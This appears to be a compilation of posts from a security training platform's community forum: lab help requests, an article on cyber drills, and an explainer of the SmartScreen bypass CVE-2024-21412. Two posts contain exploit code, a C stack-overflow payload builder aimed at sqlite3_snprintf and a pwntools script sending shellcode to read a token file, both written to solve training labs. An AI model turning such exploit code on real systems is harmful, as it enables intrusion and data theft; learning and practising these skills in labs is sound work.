Foundational Static Analysis: API Analysis
Hi all, I'm stuck in this part, where using Ghidra, I have to find where the Windows API GetModuleHandleA is used, in the binary called exercise_two.exe, and once located, find the parameter of this function. Taking a look about GetModuleHandleA, there's no references or calls to API in any part of the code. Also tried to look for references to GetProcAddress or LoadLibrary and nothing. Am doing something wrong? Any idea to find the "parameter" of the function that calls to the API?. Is the only question from this part remaining... Thanks and regards.Cyber Drills and Outcome-Based Programs: A Hands-On Approach to Cyber Resilience
What are cyber drills and outcome-based programs? Cyber drills vs. outcome-based programs Cyber drills Prove Outcome-based programs Improve Simulate a realistic cyberattack to test response capabilities Ongoing, structured programs to build and improve security operations Benchmark security preparedness at a given point in time Measure progress over time with defined success metrics Team-based exercises that focus on immediate response Tailored multi-year programs that address specific security gaps One-off or periodic events Continuous learning and improvement The key difference is that cyber drills test and prove preparedness and expose improvement areas; outcome-based programs address the improvement areas and enhance an organization’s ability to detect, respond, and recover from cyber threats. Combined, these approaches provide sustainable, robust cyber resilience. Designing an effective outcome-based program To implement an outcome-based program successfully, organizations must consider the following factors: 1. Understanding business objectives and risk tolerance Before designing a program, it’s crucial to understand: Business goals – what is the organization trying to achieve? Risk appetite – how much risk is the company willing to take? Regulatory requirements – what compliance standards must be met? 2. Defining measurable outcomes Success should be based on quantifiable improvements, such as: Reduced incident response time Fewer security breaches Improved threat detection capabilities More substantial alignment with regulatory requirements 3. Tailoring the program to the organization Organizations are unique, and outcome-based programs must be customized to fit: Risk assessment results Threat landscape Technology stack and processes Security team capabilities 4. Implementing and monitoring progress A phased approach ensures better adoption: Pilot phase – test the program with a small team before full deployment Phased rollout – implement step-by-step to ensure success Continuous reporting – regularly track metrics and adjust the program as needed 5. Demonstrating ROI and business value To gain leadership buy-in, organizations must: Showcase case studies of successful implementations Use data-driven insights to highlight improvements Demonstrate long-term value beyond compliance Example: A multi-year cybersecurity resilience program A well-structured outcome-based program can span multiple years, evolving as threats change. Year 1 – Conduct cyber drills, crisis and incident response exercises and assessments, and document response plans. Develop improvement plans and program scope. Year 2 – Technical and executive training, incident handling exercises. Year 3 – Advanced cybersecurity drills, scenario-based threat modeling, multi-team exercising. Process and policy stress testing. Year 4 – Purple teaming, improving collaboration between defense and offense teams. Year 5 – Full-scale red teaming and supply chain cyber drills. This approach ensures that organizations continuously prove and improve rather than just react to incidents. Final thoughts: The future of cybersecurity training Moving from traditional cybersecurity upskilling to cyber drills and outcome-based programs requires: A shift in mindset – focus on long-term resilience, not just one-time testing. Cross-department collaboration – security is not just IT’s responsibility; leadership buy-in is crucial. Expertise in design and delivery – outcome-based programs must be well-structured and measurable. By embracing cyber drills and outcome-based cybersecurity training programs, organizations can stay ahead of threats and build a stronger, lasting security culture. Share your thoughts Is your organization ready to move beyond traditional cyber upskilling? Where do you feel the biggest challenge lies, out of the three points mentioned above? Have you had success in overcoming these challenges? If so, share how with the community. Let’s build a cybersecurity strategy that delivers accurate, measurable results.
Linux Stack Overflow Ep.6
I am having trouble figuring how this lab. I got the other questions, but can't get the token. This is the code I am running, but it just causing a segmentation fault. #include <assert.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <sqlite3.h> #define RETADDR_OFFSET 0 #define CANARY_OFFSET 0x40 #define BUF_OFFSET 0x88 #define CANARY 0xbaadd00dbaadd00dull #define ROPGADGET 0xdeadbeefdeadbeefull #define NGADGETS 1 struct payload { uint8_t padding1[BUF_OFFSET-CANARY_OFFSET]; uint64_t canary; uint8_t padding2[CANARY_OFFSET-RETADDR_OFFSET-8]; uint64_t ropchain[NGADGETS]; }__attribute__((packed, aligned(1))); int main(int argc, char *argv[]) { char dst[256]; struct payload p; memset(p.padding1, 'a', sizeof(p.padding1)); p.canary = CANARY; memset(p.padding2, 'b', sizeof(p.padding2)); p.ropchain[0] = ROPGADGET; size_t target_n = 0x80000000; assert(sizeof(p) + 3 <= target_n); size_t n = target_n - sizeof(p) - 3; size_t target_i = 0x100000000 + (sizeof(p) / 2); char *src = calloc(1, target_i); if (!src) { printf("bad allocation\n"); return -1; } size_t cur = 0; memcpy(src, &p, sizeof(p)); cur += sizeof(p); memset(src+cur, '\'', n/2); cur += n/2; assert(cur < 0x7ffffffeul); memset(src+cur, 'c', 0x7ffffffeul-cur); cur += 0x7ffffffeul-cur; src[cur] = '\xc0'; cur++; memset(src+cur, '\x80', target_i - cur); cur = target_i; src[cur-1] = '\0'; sqlite3_snprintf((int) 256, dst, "'%!q'", src); free(src); return 0; }Understanding CVE-2024-21412: A Zero-Day Exploit Targeting Windows Users
What is CVE-2024-21412? CVE-2024-21412 is a security feature bypass vulnerability in Windows Defender SmartScreen. SmartScreen typically evaluates the safety of downloaded files and displays warnings for unrecognised or suspicious ones. But this vulnerability allows attackers to circumvent warnings and install malware on unsuspecting systems. Which systems are affected? CVE-2024-21412 impacts a broad range of Windows systems, including: Windows 10 (various versions) Windows 11 (various versions) Windows Server 2019 and later versions How can this vulnerability be used against your systems? Attackers exploited CVE-2024-21412 by crafting a Windows Internet shortcut (.url file) that pointed to another .url file on a remote SMB share. This technique tricked the system into automatically executing the file at the final location, bypassing SmartScreen's security warnings. Researchers even created a proof-of-concept exploit, demonstrating how easy the vulnerability is to exploit. Attackers also abused the Microsoft Search Protocol (MSP) to deceive users. They crafted malicious links that appeared to point to local files, but in reality, connected to an attacker-controlled server. This tricked users into opening malicious files without realising they were downloading them from an external source. How to protect your organisation Microsoft addressed CVE-2024-21412 with a patch released in mid-February 2024. Installing this patch is crucial to mitigate the risk associated with this vulnerability. In addition to patching, organisations should implement comprehensive monitoring and detection systems to identify and mitigate threats across all stages of an attack. This includes using intrusion detection systems, firewalls, and security information and event management (SIEM) tools to monitor network traffic and system activity for suspicious behaviour. Organisations should also consider employing advanced real-time behaviour analytics to monitor unusual activity and identify potential threats, even when they bypass traditional security measures. This involves analysing user and system behaviour patterns to detect anomalies that could indicate an attack. Conclusion CVE-2024-21412 highlights the importance of cybersecurity awareness and proactive measures, which can be mitigated with improved organisational cyber resilience and regular patching policies. As always, staying informed about potential vulnerabilities is a crucial step in reducing the risk of your organisation being attacked. Recommended content To learn how to detect this vulnerability in a sandboxed environment, check out the following lab: CVE-2024-21412 (SmartScreen Bypass) – Elastic Log Analysis. In this lab, you'll use ElasticSearch to detect the presence of malicious URL files in logs. Share your thoughts Have you seen this vulnerability being exploited in the wild? Have you patched your systems yet? Share your thoughts by commenting in the thread below.
Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills
I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immersivelabs/comments/1ap3tub/pwntools_ep_6_demonstrate_your_skills/) but it is still not working. Could you please help me with this if possible shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) is what I tried from pwn import * import struct # Start the challenge binary p = process("/opt/demonstrate-challenge") # Use the correct path # === Part 1: Solve Arithmetic Challenge === p.recvuntil(b"What is the sum of ") numbers = p.recvline().decode().strip().split(" and ") num1 = int(numbers[0]) num2 = int(numbers[1].split("?")[0]) print(f"[+] Solving: {num1} + {num2} = {num1 + num2}") p.sendline(str(num1 + num2)) # === Part 2: Solve Packing Challenge === p.recvuntil(b"Send me back the following two 32-bit unsigned integers packed in little-endian order:\n") values = p.recvline().decode().strip().split(" and ") val1 = int(values[0]) val2 =int(values[1]) print(f"[+] Packing values: {val1} and {val2}") payload = struct.pack("<II", val1, val2) p.send(payload) # === Part 3: Leak Address of parsing_check() === elf = ELF("/opt/demonstrate-challenge") # Load the ELF binary parsing_check_addr = elf.symbols['parsing_check'] # Get function address print(f"[+] Found parsing_check() address: {hex(parsing_check_addr)}") p.sendline(str(parsing_check_addr)) # === Part 4: Send Shellcode to Read /home/token-user/token.txt === file_path = '/home/token-user/token.txt' shellcode = shellcraft.cat2(file_path, 1, 40) # Pwntools shellcode shellcode += shellcraft.ret() # Ensure proper return assembled_shellcode = asm(shellcode) p.send(assembled_shellcode) # === Get Flag Output === response = p.recvall() print(response)
Historic Steganography Lab
I've been stuck on question 6 in the Stenography lab within the Historic Encryption upskill series. I'm not sure if I'm missing something within the command line or if the password/passphrase for the file is wrong. The password/passphrase is supposed to be "carnivale" Here are some screenshots to help zero in where I'm at. Thanks all!Help again Linux CLI: Ep.16 – Combining Commands
I feel like I'm banging my head against the wall with the last 2 questions of this lab. I've been stuck on question 5 for the grep command. Any hints of what am I doing wrong? missing? And then the last question to run sleep. Huh? Is there a command to combine with the sleep 600? Any help would be appreciated. So I can finally do the last lab for Linux. =)
Web Log Analysis: Ep.5 – Searching Web Server Logs using Linux CLI
Looking for some tips to help me get past step 1 (!) of this lab. I have tried to cs into Log-Files/ but nothing is returned, and the same for a cat command. I don't have experience with Linux but want to attempt this lab - maybe even some lab recommendations on how to get to a sufficient level with Linux would help? Thanks!!
